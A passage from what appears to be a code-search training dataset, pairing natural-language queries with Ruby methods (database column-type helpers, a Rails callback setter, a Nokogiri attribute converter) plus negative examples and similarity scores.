'jsonstore',\n :fields => ['p'],\n :data => values\n },\n :mode => 'local',\n :valueField => 'p',\n :displayField => 'p'\n }\n column_info['Type'] = 'string'\n #date\n when /date/i,/time/i,/year/i\n date_desc = self.date_desc column_info\n column_info['Type'] = date_desc[:type]\n column_info['editor'] = date_desc[:editor]\n #text\n when /text/i\n column_info['editor'] = {\n :xtype => 'textarea',\n :minHeight => 100\n }\n column_info['Type'] = 'string'\n else\n column_info['Type'] = 'string'\n column_info['editor'] = {\n :xtype => 'textarea',\n :minHeight => 100\n }\n end\n end\n end",
"def simplified_type(field_type)\r\n return :boolean if field_type =~ /logical/i\r\n return :string if field_type =~ /varchar/i\r\n return :binary if field_type =~ /long binary/i\r\n return :datetime if field_type =~ /timestamp/i\r\n return :integer if field_type =~ /short|integer/i\r\n return :integer if field_type =~ /autoinc/i\r\n super\r\n end",
"def type_literal_generic_string(column)\n if column[:text]\n uses_clob_for_text? ? :clob : :text\n elsif column[:fixed]\n \"char(#{column[:size]||default_string_column_size})\"\n else\n \"varchar(#{column[:size]||default_string_column_size})\"\n end\n end",
"def type_literal_generic_set(column)\n type_literal_generic_string(column)\n end",
"def scaffold_column_type(column_name)\n @scaffold_column_types ||= scaffold_column_types\n if @scaffold_column_types[column_name]\n @scaffold_column_types[column_name]\n elsif columns_hash.include?(column_name)\n type = columns_hash[column_name].type\n (scaffold_convert_text_to_string and type == :text) ? :string : type\n end\n end",
"def notable_type_data\n notable_type\n end",
"def native_database_types\n {\n :primary_key => \"integer not null primary key\",\n :string => { :name => \"varchar\", :limit => 255 },\n :text => { :name => \"blob sub_type text\" },\n :integer => { :name => \"integer\" },\n :float => { :name => \"float\" },\n :decimal => { :name => \"decimal\" },\n :datetime => { :name => \"timestamp\" },\n :timestamp => { :name => \"timestamp\" },\n :time => { :name => \"time\" },\n :date => { :name => \"date\" },\n :binary => { :name => \"blob\" },\n :boolean => { :name => boolean_domain[:name] }\n }\n end",
"def custom_types_by_name\n interim_model_builder.custom_intent_types \n .map { |_name, intent| format_for_alexa(intent.custom_types_for) }\n .flatten\n .uniq { |key, _val| key }\n end",
"def map_types!(column_mapping)\n\t\tself.column_mapping = column_mapping\n\t\tself\n\tend",
"def special_character_records column_name\n @model_name.where(column_name.to_sym => SPECIAL_CHARACTER_LISTS)\n end",
"def column_type\r\n @type\r\n end",
"def schema_column_type(db_type)\n case db_type\n when 'json'\n :json\n when 'jsonb'\n :jsonb\n else\n super\n end\n end",
"def query_part_table_definition\n remote_query_column_types.map do |name, type|\n \"#{name} #{type}\"\n end.join(\"\\n , \")\n end",
"def scaffold_column_type_options(type)\n @scaffold_column_type_options ||= {}\n @scaffold_column_type_options[type] ||= SCAFFOLD_OPTIONS[:column_type_options][type] || {}\n end",
"def native_database_types\n @native_database_types ||= super.merge(boolean: { name: 'bool' })\n end",
"def field_type=(value)\n super(value.to_s)\n end",
"def add_column_types obj\n FbArray.new(obj)\n end",
"def search_facet_fields\n self.content_columns.select {|c| [:boolean,:decimal,:float,:integer,:string,:text].include?(c.type) }.map {|c| c.name }\n end",
"def sql_type\n self['sql_type']\n end",
"def options_for_supported_types\n Mapping::SUPPORTED_TYPES.map do |type|\n [type.titleize.to_s, type]\n end\n end",
"def has_a_minimum_one_string_type?\n self.index_table_fields.map(&:field_name).each do |field_name|\n self.table_name.constantize.columns.each {|elt| return true if (elt.name == field_name && (elt.type == :string || elt.type == :text))} \n end\n return false\n end",
"def type_column\n arel_table[polymorphic_type.to_sym] if polymorphic_type\n end",
"def field_types\r\n return @field_types\r\n end",
"def nonregular_type; end",
"def fields_to_classify\n columns = klass.columns_hash\n columns.select { |key| columns[key].type == :string }.keys\n end",
"def apply_devise_schema(name, type, options={})\n column name, type.to_s.downcase.to_sym, options\n end",
"def attributes\n [type, column_options]\n end",
"def type_names\n\t\ttypes_names = DATABASE.execute(\"SELECT name FROM types WHERE id='#{self.type_id[0]}' OR id='#{self.type_id[1]}';\") \t\n\t\treturn types_names\n\tend",
"def custom_entity_types\n @_custom_entity_types ||= {}\n end",
"def custom_entity_types\n @_custom_entity_types ||= {}\n end",
"def convert_text_column_storage_type(table_name, column_name, to_type, temp_column_name)\n quoted_table_name = quote_table_name(table_name)\n orig_col = quote_column_name(column_name)\n temp_col = quote_column_name(temp_column_name || 'oee_temp_col')\n cmds = <<-SQL\n alter table #{quoted_table_name} add #{temp_col} #{to_type}\n update #{quoted_table_name} set #{temp_col} = #{orig_col}\n alter table #{quoted_table_name} drop column #{orig_col}\n alter table #{quoted_table_name} rename column #{temp_col} to #{orig_col}\n SQL\n cmds.split(\"\\n\").map(&:strip).each{|cmd| execute cmd}\n end",
"def form_field\n case self.column_type\n when \"text\"\n %{<textarea name=\"#{self.form_element_name}\" id=\"#{self.form_element_id}\" cols=\"60\" rows=\"20\"><%= @#{self.model_name}.#{self.column_name} %></textarea>}\n else\n %{<input type=\"text\" name=\"#{self.form_element_name}\" id=\"#{self.form_element_id}\" size=\"30\" value=\"<%= @#{self.model_name}.#{self.column_name} %>\" />}\n end\n end",
"def schema_column_type(db_type)\n case db_type\n when /\\Ainterval\\z/io\n :interval\n when /\\Acitext\\z/io\n :string\n else\n super\n end\n end",
"def schema_data_type\n case type\n when \"N\", \"F\"\n decimal > 0 ? \":float\" : \":integer\"\n when \"I\"\n \":integer\"\n when \"D\"\n \":date\"\n when \"T\"\n \":datetime\"\n when \"L\"\n \":boolean\"\n when \"M\"\n \":text\"\n else\n \":string, :limit => #{length}\"\n end\n end",
"def get_data_types(table_name) \r\n data_types = get_info(table_name, 'type')\r\n data_types.shift\r\n data_types\r\n end",
"def schema_column_type(db_type)\n db_type =~ /\\Atinyint\\(1\\)/ ? :boolean : super\n end",
"def sql_type=(val)\n self['sql_type'] = val\n end",
"def flex_type_from(column_type)\r\n @typemap[column_type] ||= \"MISSING in template_processor.rb=#{column_type}\"\r\n end",
"def type\n result = [self.ext]\n result += Types.constants.select { |c| Types.const_get(c).include?(self.ext) }.map {|c| c.downcase}\n returning(Querable.new(result)) { |q| q.list = result }\n end",
"def scaffold_column_type(column_name)\n @scaffold_column_types ||= {}\n @scaffold_column_types[column_name] ||= if type = SCAFFOLD_OPTIONS[:column_types][column_name]\n type\n elsif scaffold_association(column_name)\n :association\n elsif type = scaffold_table_column_type(column_name)\n (scaffold_convert_text_to_string && (type == :text)) ? :string : type\n else\n :string\n end\n end",
"def column_types\n @column_types ||= @columns.values\n end",
"def get_field_type\n\t\tend",
"def field_class\n 'info'\n end",
"def normalize_type\n if self.type.present?\n self.type = self.type.to_s.underscore.strip\n end\n end",
"def content_type\n @record.send( :\"#{@column}_content_type\" ) rescue ''\n end",
"def type_name_enum\r\n [ [ '数字字段1', 'int1' ] ,[ '数字字段2', 'int2' ] ,[ '数字字段3', 'int3' ] ,[ '数字字段4', 'int4' ],[ '数字字段5', 'int5' ],\r\n [ '文本字段1', 'text1' ],[ '文本字段2', 'text2' ],[ '文本字段3', 'text3' ],[ '文本字段4', 'text4' ],[ '文本字段5', 'text5' ],\r\n [ '文本字段6', 'text6' ],[ '文本字段7', 'text7' ],[ '文本字段8', 'text8' ],[ '文本字段9', 'text9' ],[ '文本字段10', 'text10' ]]\r\n end",
"def column_attrs\n attrs = {}\n attrs[\"Service Provider\"] = \"identity.full_name\"\n attrs[\"Provider/Program (First Available)\"] = \"self.identity.display_available_provider_program_name\"\n attrs[\"Date Entered\"] = \"self.created_at.try(:strftime, \\\"%Y-%m-%d\\\")\"\n attrs[\"Subject of Interaction\"] = :display_subject\n attrs[\"Type of Interaction\"] = :display_interaction_type\n attrs[\"Duration in minutes\"] = :duration_in_minutes\n attrs[\"Investigator Name\"] = :name\n attrs[\"Investigator Email\"] = :email\n attrs[\"Investigator Institution\"] = :institution\n attrs[\"Notes\"] = :note\n \n attrs\n end",
"def column_type\n object.class.scaffold_column_type(@method_name)\n end",
"def fix_data_characterization!\n self.characterization.mime_type = 'text/csv' if mime_type == 'text/plain' && format_label.include?('Comma Separated Values')\n self.characterization.mime_type = 'text/tab-separated-values' if mime_type == 'text/plain' && format_label.include?('Tab-separated values')\n end",
"def explain_types; end",
"def ignored_translation_table_colums(klass); end",
"def data_type\n\tend",
"def types\n must_be_open!\n @columns.map(&:last)\n end",
"def default_string_options(method, type) #:nodoc:\n column = self.column_for(method)\n\n if type == :text\n { :cols => @@default_text_field_size, :rows => @@default_text_area_height }\n elsif type == :numeric || column.nil? || column.limit.nil?\n { :size => @@default_text_field_size }\n else\n { :maxlength => column.limit, :size => [column.limit, @@default_text_field_size].min }\n end\n end",
"def type_literal_base(column)\n TYPES[column[:type]]\n end",
"def column_options_for(type, request, obj, column)\n opts = model.column_options_for(type, request, column)\n if opts[:class] == 'autoforme_autocomplete'\n if type == :show\n opts[:value] = model.column_value(type, request, obj, column)\n elsif key = obj.send(model.association_key(column))\n opts[:value] = \"#{key} - #{model.column_value(type, request, obj, column)}\"\n end\n end\n opts\n end",
"def type_helper \n self.type \n end",
"def data_type\n\t\tend",
"def type_literal_base(column)\n TYPES[column[:type]]\n end",
"def type_literal_generic_module(column)\n type_literal_generic_string(column)\n end",
"def schema_column_type(db_type)\n case db_type\n when 'inet', 'cidr'\n :ipaddr\n else\n super\n end\n end",
"def schema_column_type(db_type)\n case db_type\n when 'inet', 'cidr'\n :ipaddr\n else\n super\n end\n end",
"def column_for_attribute(attr)\n FauxColumnInfo.new(self.class.types[attr])\n end",
"def validate_field_types\n database_field_names.each do |field|\n field_info = self.class.get_table_info.select {|hash| hash[\"name\"] == field}.first\n check_field_value_matches_data_type(field_info, field) \n end\n @errors\n end",
"def types; end",
"def types; end",
"def types; end",
"def types; end",
"def types; end"
] |
[
"0.63806075",
"0.6266482",
"0.6246426",
"0.6099761",
"0.6073124",
"0.6014047",
"0.5934039",
"0.59221005",
"0.590444",
"0.58853346",
"0.5869757",
"0.58318",
"0.58311343",
"0.5819279",
"0.5805778",
"0.580262",
"0.5798562",
"0.5797139",
"0.57910144",
"0.57883334",
"0.5774041",
"0.5763218",
"0.57610404",
"0.5728251",
"0.56693417",
"0.5669033",
"0.5666614",
"0.56652325",
"0.5661919",
"0.5655489",
"0.565275",
"0.56499314",
"0.56495684",
"0.5640514",
"0.5634657",
"0.5631964",
"0.5628173",
"0.5615682",
"0.5613138",
"0.5613038",
"0.56009346",
"0.55928427",
"0.5591926",
"0.55905354",
"0.5577527",
"0.5572499",
"0.5560676",
"0.5559965",
"0.55414474",
"0.55291355",
"0.55276567",
"0.55275303",
"0.5527202",
"0.5520114",
"0.55169106",
"0.5512571",
"0.5503798",
"0.5496119",
"0.54861426",
"0.54813504",
"0.54599947",
"0.54599947",
"0.54276496",
"0.54265785",
"0.54156893",
"0.54132557",
"0.54097605",
"0.5406557",
"0.5406359",
"0.54049987",
"0.5396572",
"0.5391981",
"0.53918636",
"0.5381059",
"0.5378447",
"0.53735304",
"0.5373503",
"0.53734523",
"0.53709143",
"0.5367476",
"0.5361165",
"0.53589547",
"0.5358557",
"0.53517044",
"0.534952",
"0.53434265",
"0.53416973",
"0.5334948",
"0.533389",
"0.5331286",
"0.5329927",
"0.53257716",
"0.532419",
"0.532419",
"0.5313791",
"0.53121823",
"0.53115475",
"0.53115475",
"0.53115475",
"0.53115475",
"0.53115475"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_expense
@expense = Expense.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
subclass should override this method
|
def begin_element(_path, _name, _attrs = {}); end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def overrides; end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def custom; end",
"def custom; end",
"def implementation; end",
"def implementation; end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end"
] |
[
"0.74382085",
"0.697613",
"0.6751325",
"0.6751325",
"0.6640694",
"0.6640694",
"0.6616233",
"0.6616233",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863",
"0.65892863"
] |
0.0
|
-1
|
FIXME: to be refactored!
|
def convert_attr_hash(attrs = [])
h = {}
attrs.each do |v|
# v is Nokogiri::XML::SAX::Parser::Attribute
# see http://nokogiri.org/Nokogiri/XML/SAX/Parser/Attribute.html
key = v.prefix ? v.prefix + ':' : ''
key += v.localname
h[key.to_sym] = v.value
end
h
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def schubert; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def identify; end",
"def formation; end",
"def custom; end",
"def custom; end",
"def stderrs; end",
"def terpene; end",
"def offences_by; end",
"def suivre; end",
"def operations; end",
"def operations; end",
"def anchored; end",
"def refutal()\n end",
"def verdi; end",
"def intensifier; end",
"def berlioz; end",
"def trd; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def implementation; end",
"def implementation; end",
"def sitemaps; end",
"def weber; end",
"def from; end",
"def from; end",
"def from; end",
"def from; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def who_we_are\r\n end",
"def transformations; end",
"def original_result; end",
"def villian; end",
"def internal; end",
"def extra; end",
"def rassoc(p0) end",
"def reflector; end",
"def reflector; end",
"def common\n \n end",
"def r; end",
"def r; end",
"def isolated; end",
"def isolated; end",
"def rest_positionals; end",
"def ext; end",
"def ext; end",
"def malts; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def wrapper; end",
"def next() end",
"def next() end",
"def escaper; end",
"def bs; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def probers=(_arg0); end",
"def required_positionals; end",
"def schumann; end",
"def returns; end",
"def ignores; end",
"def processor; end",
"def user_os_complex\r\n end",
"def internship_passed; end",
"def operation; end",
"def original; end",
"def transform; end",
"def same; end",
"def expanded; end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def position; end",
"def position; end",
"def position; end"
] |
[
"0.73149747",
"0.64782345",
"0.61868227",
"0.6163079",
"0.6163079",
"0.6163079",
"0.6163079",
"0.5870799",
"0.5821478",
"0.5789733",
"0.5789733",
"0.5780817",
"0.5753211",
"0.5740728",
"0.5690416",
"0.56878453",
"0.56878453",
"0.56827843",
"0.5679364",
"0.567121",
"0.56518173",
"0.5640079",
"0.558862",
"0.55812985",
"0.55812985",
"0.55812985",
"0.556942",
"0.556942",
"0.5564313",
"0.55526227",
"0.5485787",
"0.5485787",
"0.5485787",
"0.5485787",
"0.54742026",
"0.54742026",
"0.54742026",
"0.54742026",
"0.54549956",
"0.54549956",
"0.54549956",
"0.54394335",
"0.54060996",
"0.5398888",
"0.53978527",
"0.5396705",
"0.5390418",
"0.537453",
"0.5372486",
